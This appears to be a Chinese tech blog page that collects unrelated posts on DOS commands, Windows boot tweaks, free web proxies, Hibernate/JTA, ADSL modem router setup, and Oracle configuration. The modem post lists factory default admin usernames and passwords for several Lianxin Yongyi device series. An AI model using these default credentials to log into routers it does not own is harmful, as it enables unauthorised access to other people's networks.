    参数说明:DIR列文件、目录时显示的文件大小,其数值以千为单位进行分隔,使用此参数即“DIR/-C”将取消显示中的分隔符,以满足部分人的视觉习惯。

    增加参数:/Q
    参数说明:Windows是多用户操作系统,使用此参数即“DIR /Q”列文件、目录时,将显示出文件、目录的用户属性。

    增加参数:/T:C、/T:A、/T:W
    参数说明:使用此参数即“DIR/T:C”、“DIR/T:A”、“DIR/T:W”分别显示文件、目录的创建时间、上次访问时间和上次修改时间。

    增加参数:/X
    参数说明:使用此参数即“DIR/X”列文件、目录时,会对长文件名同时显示“8.3”格式的文件名。

    命令:CD,改变目录

    增加参数:/D
    参数说明:此参数的作用是快速改变当前目录,比如当前目录是C:\Windows,使用命令“CD/D E:\Tools”可快速切换到E:\Tools目录下。注:只有在Win XP的“运行”文本框中输入“CMD”得到的DOS窗口中才能使用此参数。

    命令:MD,建立目录

    功能说明:此命令并未增加参数,但是增强了功能,它可一次建立多级子目录, 例如使用命令“MD AA\BB\CC\DD”将一次性创建AA、BB、CC、DD四级子目录。而在老版本的DOS中,若不存在AA子目录,便无法直接建立AA下的BB等深层子目录。

    命令:RD,删除目录

    增加参数:/S
    参数说明:使用此参数即“RD/S”用于删除目录树,即删除目录及目录下的所有子目录和文件,相当于以前版本中的DELTREE命令。

    增加参数:/Q
    参数说明:使用上面的/S参数删除目录树时,系统会要求用户确认是否真的要删除。若同时使用/Q参数即“RD/S /Q”,在进行删除操作时将取消确认,相当于DELTREE命令的/Y参数。

    命令:DEL,删除文件或目录

    增加参数:/F
    参数说明:使用此参数即“DEL/F”可删除只读文件。

    增加参数:/S、/Q
    参数说明:使用此参数即“DEL/S”作用与“RD/S”完全相同,即删除目录及目录下的所有子目录和文件。同时使用参数/Q,可取消删除操作时的系统确认。

    增加参数:/A
    参 数说明:删除指定属性或指定属性以外的文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、 /A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件。

    命令:ATTRIB,更改文件或目录的属性

    增加参数:/D
    参 数说明:在Win XP中我们不能把文件或文件夹设置为系统属性,只能设为只读、隐藏或存档属性。而带参数/D使用ATTRIB命令可以对文件的所有属性进行设定,设定时必 须与参数/S同时使用。例如“ATTRIB /S /D +S D:\Study”,作用是将D:\Study文件夹设置为系统文件夹。

    命令:Format,格式化磁盘

    增加参数:/FS:filessystem
    参数说明:按指定文件系统类型(FAT、FAT32、NTFS)格式化磁盘,例如“Format /FS:NTFS”。

    命令:DATE、TIME,显示系统日期和时间

    增加参数:/T
    参数说明:使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

    Win2000/XP应用之奇技酷招

    每个Windows用户都希望Windows的启动速度越快越好,不过,如果你想让Windows启动速度更快些,还要掌握一些加速Windows启动的独门秘技!

    1.不容忽视的磁盘IDE通道

    Windows XP中有一个非常影响启动速度的设置,那就是磁盘IDE通道。一般来说,Windows XP用户不需要安装主板的IDE驱动或补丁程序,ULTRA DMA功能就已经打开了。也正因为如此,绝大多数用户会让IDE通道处于自动状态,但这会导致Windows XP启动变慢——因为主板可以连接四个IDE设备,但大多数电脑只有两个IDE设备,即硬盘和光驱。少数人可能有单硬盘、双光驱(DVD和刻录机)或双硬 盘、单光驱,即便这样也只有三个IDE设备,所以一般都有1~2个IDE通道处于空闲状态。此时,你应该把并不存在的IDE设备设置为“无”,而不是“自 动检测”。

    提示:设置IDE通道的方法是:单击“开始→控制面板”,双击“系统”,切换到“硬件”选项卡,单击“设备管理器”,再双击 “IDE ATA/ATAPI控制器”。双击下面的“主要IDE通道”或“次要IDE通道”。我们可以看到,“设备0”下面的“设备类型”不可选,表明该IDE通道 目前已被使用。“设备1”下面的“设备类型”可选,如果你近期内不再添加新的IDE设备,可以将“设备类型”设置为“无”。

    2.禁用服务和启用Power User

    Windows 2000/XP的启动速度要比Windows 9x/Me慢,众多的服务是重要因素之一,因此普通用户禁用一些无用的服务,对启动速度也有很大帮助:

    alerter (用户不在局域网并且不需要管理警报)

    clipbook (用户不需要查看远程剪贴簿的剪贴页面)

    distributed link tracking client (用户不使用NTFS分区并且没有连入局域网)

    distributed transaction coordinator (不需要同时处理多个数据库或文件系统)

    fax service (不需要发送或接收传真)

    ftp publishing service(你的电脑不做为FTP服务器使用)

    iis admin service (你的电脑不做为Web服务器使用)

    另外,建议大家创建一个Power User用户,平时用它来登录Windows 2000/XP,因为相比管理员身份,它启动的服务更少同时也更加安全。

    3.及时清理日志文件

    Windows 2000/XP的日志文件比较容易被用户忽视。其实当我们每次开关机、运行程序、系统报错时,这些信息都会被记录下来,保存在日志文件中。但日志文件会随着时间的增长越来越大,从而影响了系统启动速度。我们可以自己指定日志文件的大小及处理方式:

    进 入“开始→设置→控制面板→管理工具”,双击“事件查看器”或是单击“开始→运行”,输入“eventvwr.msc”后回车,即可打开“事件查看器”, 在右侧窗口中可看到应用程序日志、安全日志和系统日志。在任意一种日志上面右击并选择“属性”,就可以在如图所示的对话框中为日志文件设定最大值,还可以 选择当日志满了以后的处理方式——一般来说让它自动覆盖一段时间以前的旧日志,这样日志文件就永远不会超出指定大小。单击“筛选器”选项卡可以指定需要写 入日志文件的事件类型。


    设置“系统日志”的属性

    4.借花献佛加快Windows 2000 启动

    Windows XP相比Windows 2000在很多方面进行了优化改进,因而启动速度更快,那么能不能让Windows 2000也可以享受这样的好处呢?其实,只要找到Windows XP相应语言版本文件,然后替换Windows 2000的相应文件即可。这两个文件为NTLDR、NTDETECT.COM,它们都在系统分区的根目录下。当然,为了防止Windows 2000出错,建议用户在替换这两个文件前备份Windows 2000原有的同名文件。

    5.让蓝色滚动条只滚动一圈

    这 是一个适用于Windows XP的秘技。打开“注册表编辑器”,依次展开[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\Memory Management\PrefetchParameters]分支,然后双击右侧窗口中的DWORD值“EnablePrefetcher”,将其值由 “3” 改为“1”。退出注册表编辑器并重启电脑,你会发现进入Windows XP时蓝色滚动条的滚动时间明显减少了!

    Blogged with the Flock Browser

    1、火力地带提供免费在线代理
    多台国外稳定服务器,高速访问,叫你畅快浏览任何站点!
    网址:http://119.sn.cn

    2、Sneakly免费在线代理服务器
    支持SSL、页面风格简洁,没什么广告,支持SSL可以访问Gmail等https网站。
    网址:http://www.sneakly.com

    3、万维在线代理 网址: http://www.wwwproxy.cn

    4、web-php-proxy免费在线代理服务器
    这个免费代理要重点的说一说,该在线代理服务器不同于一般的在线代理,是一个在线代理集成的网站,每一个小时监测一次代理接口的可用性,本身自己不提供代理服务。在页面中地址栏URL处输入网址,然后再按回车键,选择可用的Web代理服务器,即可通过此代理访问你要访问的网站,速度还行。网址:http://web-php-proxy.com/zh

    5、BypassThat免费在线代理服务器
    广告不算多,也没有弹窗广告。支持SSL可以访问Gmail等https网站,速度一般。在页面中的地址栏输入你要访问的网址,回车或者点“GO”即可使用代理来访问你想上的网站。
    网址:http://www.bypassthat.com

    6、摆渡520log在线代理 网址:http://www.520log.cn

    在一些具有非常严格的XADataSource实现的JTA环境中(目前来说只是WebLogic和WebSphere的某些版本)当你将Hibernate配置成不感知JTA PlatformTransactionManager 对象时,容器可能会在应用服务器日志中报出一些警告和异常。 这些警告和异常通常会说:“正在被访问的连接不再有效,或者JDBC连接不再有效,可能由于事务不再处于激活状态”。下面是一个从WebLogic上抛出的异常:

    java.sql.SQLException: The transaction is no longer active - status: 'Committed'.
    No further JDBC access is allowed within this transaction.

    这样的错误警告很容易解决:只要简单的把Hibernate配置成感知到JTA PlatformTransactionManager 实例的存在即可,同时将他们进行同步(与Spring同步)。可以有两种方法达到这种效果:

    • 如果你已经在你的application context中定义并获取了JTA PlatformTransactionManager 对象(或许来自通过 JndiObjectFactoryBean 得到的JNDI)并已经将它注入到类似Spring的 JtaTransactionManager 中, 那么最简单的方式就是指定这个bean的引用作为 LocalSessionFactoryBeanjtaTransactionManager 属性。Spring将使这个对象被Hibernate所感知。

    • 多数情况下,你还没有得到JTA的 PlatformTransactionManager 实例(由于Spring的 JtaTransactionManager 能够自己找到它),所以你需要自行配置Hibernate并直接寻找资源。 正如Hibernate文档中提到的,这可以通过在Hibernate配置一个应用服务器特定的 TransactionManagerLookup 类来完成。

    对于恰当的使用方法,你无需了解更多的东西。但是我们在这里将描述一下,对于将Hibernate配置为感知或者不感知JTA的 PlatformTransactionManager 对象这两种情况下,整个事务的执行顺序。

    Hibernate被配置成不感知JTA PlatformTransactionManager 的情况下,当一个JTA事务提交时,整个事件的执行顺序如下:

    • JTA 事务提交

    • Spring的 JtaTransactionManager 同步到JTA事务,它被JTA事务管理器通过调用 afterCompletion 执行回调。

    • 在所有其他活动中,这将由Spring向Hibernate触发一个回调,通过Hibernate的 afterTransactionCompletion 回调(用于清除Hibernate缓存),然后紧跟着一个明确的Hibernate Session的 close() 调用。 这将使Hibernate试图去关闭JDBC的Connection。

    • 在某些环境中,Connection.close() 的调用将会触发一个警告或者错误信息。 这是由于特定的应用服务器将不再考虑Connection的可用性,因为此时事务已经被提交了。

    Hibernate被配置成感知JTA的 PlatformTransactionManager 的情况下,当一个JTA事务提交时,整个事件的执行顺序如下:

    • JTA 事务准备提交

    • Spring的 JtaTransactionManager 同步到JTA事务,因而它被JTA事务管理器通过调用 beforeCompletion 执行回调。

    • Spring能感知到Hibernate自身被同步到JTA Transaction,因而表现得与先前那种情况有所不同。 假设Hibernate的 Session 需要被关闭,Spring将负责关闭它。

    • JTA 事务提交

    • Hibernate将与JTA transaction进行同步,因而它被JTA事务管理器通过调用 afterCompletion 执行回调,并且适时地清除缓存。

    Blogged with the Flock Browser

    联信永益268L1 ADSL Modem (AA/AB/AC)路由设置方法网上有许多,但最近报装的ADSL网通免费送的猫虽然也是AB系列,但用户名和密码以及界面都已变化。与在网通工作的朋友咨询及网上查阅资料后路由设置及端口映射的方法如下:北京地区

    268L1 新AB

    主机名称: Viking
    硬件版本: 810020
    软件版本: 25051216c.0


    第一步:设置电脑网络配置
    网上邻居-->鼠标右键-->属性-->本地连接-->鼠标右键-->属性 -->Internet 协议 (TCP/IP)-->属性-->设置如图-->确定

    第二步:打开IE浏览器,输入http://192.168.1.1
    用户名:admin
    密码:admin

    记住,后面我们要记得修改这个用户密码。

    附:联信永益系列ADSL设备的IP地址和默认用户名密码如下: IP地址:

    ①如果是AA的输入: 10.0.0.2
    ②如果是AB/AC/企业ADSL的输入 :192.168.1.1

    用户名和密码:

    ①AA开头的MODEM输入:
    用户名:admin
    密 码:epicrouter

    ②AB开头或企业ADSL的MODEM输入:
    用户名:adsl
    密 码:adsl1234

    ③AC开头的MODEM输入:
    用户名:root
    密 码:Admin

    最新AB开头
    用户名:admin
    密 码:admin

    第三步:

    局域网 -->DHCP模式-->选择 DHCP Server-->提交


    第四步:

    广域网-->ATM VC-->找到与你的ISP对应参数的接口,北京地区VPI/VCI为0/35,对应接口为aal5-3。如果列表中没有的,自行添加。


    第五步:

    广域网-->PPP-->添加-->如图-->提交

    第六步:

    桥接-->Bridging-->Enable/Disable-->关闭 Bridging -->提交

    第七步:

    设置端口映射(端口映射的好处我不说了 )
    服务-->NAT-->选择 NAT Rule Entry -->添加-->如图-->提交

    其中,以上设置中协议也可以单独设置TCP和UDP

    第八步:

    管理-->用户密码-->修改默认用户和密码。
    修改默认路由器用户名和密码,这一步很重要。因为如果保持默认的用户名和密码,那么别人很容易就能窃取你的帐号。 这款路由还有一个guest用户,记得删除这个guest用户。

    第九步:

    为了更加安全,管理-->端口配置-->修改路由的默认端口

    HTTP 端口: (80, 61000-62000) :61000-62000间任意值,如61080,但自己要记住所设值,以后管理时网址就是 http://192.168.1.1:61080/
    Telnet 端口: (23, 61000-62000) :同上
    FTP 端口: (21, 61000-62000) :同上

    第十步:

    管理-->保存配置-->重启路由。然后,你就可以尽情上网了。


    AA

    1、联信永益286L1型号AA开头的adsl猫
    2、一个8口交换机
    3、两台电脑
    我怎么才能用adsl猫做路由实现共享上网呢?
    我在网上找了n多设置的文章,按照步骤走下去,保存,重起,
    但是点击连接,过会提示,连接失败,帮帮我帮我!!
    那位大哥大姐能给个详细的说明!
    我参考的文章内容为:
    ============================================
    如果编号是AA开头的猫,那很简单
    10.0.0.2
    admin
    epicrouter
    在常规设置中
    静态IP和网关IP:192.168.241.101
    启用VCI、VPI(不修改)
    封装协议:PPPoELLC
    桥接模式:否
    NAT:DynamicNAPT
    电脑要设置本地ip10.0.0.*(*不能是2)
    网关设置为10.0.0.2
    也要设置北京的ADSL用户DNS服务器:
    主控DNS:202.106.0.20
    辅助DNS:202.106.196.115
    ============================================
    本文的说明适用于拥有电信赠送的联信永益268L1型号的ADSLmodem
    1将modem和要上网的电脑接入同一个HUB
    2在电脑上设置如下
    设置网卡的IP地址在10.0.0.(3-255)范围内;
    设置子网掩码在255.0.0.0;
    设置默认网关的IP地址在10.0.0.2;
    设置正确的DNS域名服务器地址(由ADSL服务商提供)
    2在其中一台电脑上访问
    http://10.0.0.2/
    在弹出的页面上输入用户名和秘密
    用户名:admin
    密码:epicrouter
    3在配置页面上填写ADSL拨号的用户名称和密码。
    封装方式选择PPPoELLC
    提交并保存(注意一定要保存)。
    4等待ADSL重新启动,重启之后电脑就可以上网了。

    友情提示:如果您不是包月上网,那么请不要开启路由模式,因为它只要通电就会一直在线计费。

    连串英文自动换行的方法


    简介:如果你正在制作论坛的话,你可能会遇到当用户输入一连串的英文时,表格不能对此进行自动换行,就会导致所在的元素被撑大了,造成了页面的不美观,如果你正在寻找简单的解决方法的话,看看下面的文章,注意只对IE5.5+有效果
      1.显示效果与代码

    [效果]
    51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM

    [代码]
    <table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bg>
    <tr>
    <td style="LEFT: 0px; WIDTH: 100%; WORD-WRAP: break-word"><font color="#990000">[效果]</font><br>
    连串英文省略
    </font></td>
    </tr>
    </table>


      2.注意

    [代码]
    style="LEFT: 0px; WIDTH: 100%; WORD-WRAP: break-word" 你可修改为指定的大小如 200px

    [效果]
    51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.
    COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51
    JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.CO
    M51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS
    .COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM5
    1JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.C
    OM51JS.COM51JS.COM



    Blogged with the Flock Browser

    解决oracle 10g em web页乱码[oracle@DBCS ~]$ cd /u01/app/oracle/product/10.2.0/db_1/jdk/jre/lib[oracle@DBCS lib]$ lsaudio font.properties.zh_CN.Redhat2.1charsets.jar font.properties.zh_CN.Suncmm font.properties.zh_CN_UTF8.Suncontent-types.properties font.properties.zh_HK.Sunext font.properties.zh_HK_UTF8.Sunflavormap.properties font.properties.zh_HK_UTF8.Sun2003font.properties font.properties.zh.Turbofont.properties.ja font.properties.zh_TW.Redhatfont.properties.ja_JP.Sun font.properties.zh_TW.Redhat2.1font.properties.ja_JP.Sun2003 font.properties.zh_TW.Sunfont.properties.ja_JP_UTF8.Sun font.properties.zh_TW_UTF8.Sunfont.properties.ja_JP_UTF8.Sun2003 font.properties.zh_TW_UTF8.Sun2003font.properties.ja.Redhat3 fontsfont.properties.ja.Redhat6.1 i386font.properties.ja.Redhat6.2 imfont.properties.ja.Redhat7.2 imagesfont.properties.ja.Redhat7.3 jce.jarfont.properties.ja.Redhat8.0 jsse.jarfont.properties.ja.Turbo jvm.hprof.txtfont.properties.ja.Turbo6.0 jvm.jcov.txtfont.properties.ko_KR.Sun localefont.properties.ko_KR_UTF8.Sun logging.propertiesfont.properties.ko_KR_UTF8.Sun2003 plugin.jarfont.properties.ko.Redhat psfontj2d.propertiesfont.properties.ko.Redhat2.1 psfont.properties.jafont.properties.Redhat6.1 rt.jarfont.properties.Redhat8.0 securityfont.properties.SuSE8.0 sunrsasign.jarfont.properties.zh_CN.Redhat zi[oracle@DBCS lib]$ ls font*zh_CN*font.properties.zh_CN.Redhat font.properties.zh_CN.Sunfont.properties.zh_CN.Redhat2.1 font.properties.zh_CN_UTF8.Sun[oracle@DBCS lib]$ mv font.properties font.properties.bak[oracle@DBCS lib]$ cp font.properties.zh_CN.Redhat font.properties[oracle@DBCS lib]$ emctl stop dbconsoleTZ set to PRCOracle Enterprise Manager 10g Database Control Release 10.2.0.1.0 Copyright (c) 1996, 2005 Oracle Corporation. All rights reserved.http://DBCS:1158/em/console/aboutApplicationStopping Oracle Enterprise Manager 10g Database Control ... ... Stopped.[oracle@DBCS lib]$ cd /u01/app/oracle/product/10.2.0/db_1/oc4j/j2ee/oc4j_applications/applications/em/em/cabo/images/cache/zhs/[oracle@DBCS zhs]$ lsb-0c_ASH_5.gif b-68.gif b-b30c_ADD.gif b-deaf.gif b-f81cbf.gif b-iagree.gif tb-0.gifb-0c_ASH_5.imx b-68.imx b-b30c_ADD.imx b-deaf.imx b-f81cbf.imx b-iagree.imx tb-0.imxb-3d.gif b-70.gif b-b5.gif b-delete.gif b-f8.gif b-view.gifb-3d.imx b-70.imx b-b5.imx b-delete.imx b-f8.imx b-view.imxb-61af.gif b-7c2d.gif b-create.gif b-edit.gif b-filterAlerts.gif tb-0-0.gifb-61af.imx b-7c2d.imx b-create.imx b-edit.imx b-filterAlerts.imx tb-0-0.imx[oracle@DBCS zhs]$ rm *.gifrm: remove regular file `b-0c_ASH_5.gif'? yrm: remove regular file `b-3d.gif'? yrm: remove regular file `b-61af.gif'? yrm: remove regular file `b-68.gif'? yrm: remove regular file `b-70.gif'? yrm: remove regular file `b-7c2d.gif'? yrm: remove regular file `b-b30c_ADD.gif'? yrm: remove regular file `b-b5.gif'? yrm: remove regular file `b-create.gif'? yrm: remove regular file `b-deaf.gif'? yrm: remove regular file `b-delete.gif'? yrm: remove regular file `b-edit.gif'? yrm: remove regular file `b-f81cbf.gif'? yrm: remove regular file `b-f8.gif'? yrm: remove regular file `b-filterAlerts.gif'? yrm: remove regular file `b-iagree.gif'? yrm: remove regular file `b-view.gif'? yrm: remove regular file `tb-0-0.gif'? yrm: remove regular file `tb-0.gif'? y[oracle@DBCS zhs]$ lsb-0c_ASH_5.imx b-68.imx b-b30c_ADD.imx b-deaf.imx b-f81cbf.imx b-iagree.imx tb-0.imxb-3d.imx b-70.imx b-b5.imx b-delete.imx b-f8.imx b-view.imxb-61af.imx b-7c2d.imx b-create.imx b-edit.imx b-filterAlerts.imx tb-0-0.imx[oracle@DBCS zhs]$ emctl start dbconsoleTZ set to PRCOracle Enterprise Manager 10g Database Control Release 10.2.0.1.0 Copyright (c) 1996, 2005 Oracle Corporation. All rights reserved.http://DBCS:1158/em/console/aboutApplicationStarting Oracle Enterprise Manager 10g Database Control ................ started.------------------------------------------------------------------Logs are generated in directory /u01/app/oracle/product/10.2.0/db_1/DBCS_ORACS/sysman/log
    解决oracle 10g em web页乱码 - ORACLE -


    有趣的现象

    有趣的现象

    我按照OTN上的10.2.0的LINUX X86 安装DOC装了ORACLE 10G后,没建立STARTER DB.

    安装的目的是为了建立042的实验环境.

    但装好后

    [oracle@localhost ~]$ dbca

    bash: dbca: command not found

    [oracle@localhost ~]$ netca

    bash: netca: command not found

    [oracle@localhost ~]$ lsnrctl

    bash: lsnrctl: command not found

    [oracle@localhost ~]$ sqlplus

    bash: sqlplus: command not found

    [oracle@localhost ~]$ isqlplusctl

    bash: isqlplusctl: command not found

    [oracle@localhost ~]$ emctl

    bash: emctl: command not found

    [oracle@localhost ~]$

    什么都是COMMNAD NOT FOUND

    要到/U01/APP/ORACLE/PRODUCT/10.2.0/BIN下运行才可以? 问题出在哪里了?麻烦老大说一下?



    David.Guo 2006-8-3 09:18


    应该是环境变量的关系

    echo $ORACLE_BASE

    echo $ORACLE_HOME

    看看是啥结果.



    brotherxiao 2006-8-3 09:21


    export path=$path:/U01/APP/ORACLE/PRODUCT/10.2.0/BIN



    mget 2006-8-3 09:31


    检查一下你的环境变量,lsnrctl路径是否存在



    real2004 2006-8-3 10:25


    [quote]原帖由 [i]David.Guo[/i] 于 2006-8-3 09:18 发表

    应该是环境变量的关系

    echo $ORACLE_BASE

    echo $ORACLE_HOME

    看看是啥结果. [/quote]







    确实是空,没有.s



    real2004 2006-8-3 10:26


    [quote]原帖由 [i]brotherxiao[/i] 于 2006-8-3 09:21 发表

    export path=$path:/U01/APP/ORACLE/PRODUCT/10.2.0/BIN [/quote]







    您写的和export PATH=$ORACLE_HOME/bin:$PATH这个有区别么?s



    real2004 2006-8-3 10:50


    而且我设置完ORACLE_BASE ORACLE_HOME 重新起动就都没有了..:<..每次启动都的重新设置?



    ljq0219 2006-8-3 12:34


    是要重先设置的,除非你在系统home目录下.profile或.login文件中加入这些设置。



    brotherxiao 2006-8-3 12:51


    [quote]原帖由 [i]real2004[/i] 于 2006-8-3 10:26 发表









    您写的和export PATH=$ORACLE_HOME/bin:$PATH这个有区别么?s [/quote]



    前提是你的$ORACLE_HOME要设置

    加到oracle用户home目录下的.profile



    real2004 2006-8-3 15:26


    我总结了一下我的理解.大家帮忙看对么?



    ORACLE的安装程序不会自动设置ORACLE_BASE和ORACLE HOME.

    要手动设置.方法是修改ORACLE用户的.BASH_PROFILE

    修改为如下:

    [oracle@localhost ~]$ more .bash_profile

    # .bash_profile



    # Get the aliases and functions

    if [ -f ~/.bashrc ]; then

    . ~/.bashrc

    fi



    # User specific environment and startup programs



    PATH=$PATH:$HOME/bin



    export PATH

    unset USERNAME

    umask 022

    export ORACLE_BASE=/u01/app/oracle

    export ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_1

    export PATH=$ORACLE_HOME/bin:$PATH



    ljq0219 2006-8-3 16:25


    应该可以了吧,你试一下好了



    real2004 2006-8-4 10:42


    谢谢各位.但是怎样让LINUX一启动就自动加载数据库和启动LISTNER和DBCONSOLE,ISQL PLUS呢?



    David.Guo 2006-8-4 10:43


    这个要写到启动文件里面,比较麻烦的了。



    real2004 2006-8-18 00:22


    明白了..谢谢楼上的.

    oracle管理自己的软件时,大量使用了操作系统环境变量.环境变量是分配给操作系统中某一名称的值.软件可以使用名称来调用变量的值.
    oracle软件使用了许多环境变量,非常重要的三个是 ORACLE_HOME,ORACLE_BASE和ORACLE_SID.ORACLE_HOME指定了你希望运行的oracle执行程序的位置.一台计算机上可能安装了若干个版本的oracle软件,大多数oracle程序查询ORACLE_HOME来决定运行何种版本的软件.ORACLE_BASE定义了数据库管理文件安装的基本目录.ORACLE_SID定义了你希望在其上工作的本地oracle数据库名称.如果是linux环境,在命令提示符下设置变量,如果是windows环境,则可以在命令提示符下或在注册表中设置.

    以下简述如何设置环境变量.(由于windows下相对简单,着重介绍linux平台)

    1、su oracle并回车切换到oracle用户;
    2、cd并回车回到oracle用户目录;
    3、vi .bash_profile并回车编辑该文件,按I键进入插入状态,在最后加入以下行:
    export ORACLE_SID=orcl
    export ORACLE_HOME=/home/oracle/oracle/product/10....(...部分根据你的实际路径修改)
    export PATH=$PATH:$ORACLE_HOME/bin
    输入完毕后按ESC键退出vi编辑状态,输入:wq并回车存盘退出。
    4、注销所有oracle用户,再使用oracle登录即可。

    以下资料简单介绍linux下如何查看oracle的环境变量

    example :

    [oracle@q1test01 ~]$ env |grep -e ORA -e TNS -e LD
    OLDPWD=/home/oracle
    LD_LIBRARY_PATH=/oracle/product/9.2/lib:/lib:/usr/lib:/usr/local/lib
    ORACLE_SID=orcl
    ORACLE_BASE=/oracle
    ORACLE_TERM=xterm
    LD_ASSUME_KERNEL=2.4.1
    ORA_NLS33=/oracle/product/9.2/ocommon/nls/admin/data
    ORACLE_HOME=/oracle/product/9.2

    Blogged with the Flock Browser

     
    Copyright 2005-2007. Hello Wiki designed by Fen, Blogger Templates by Blogcrowds.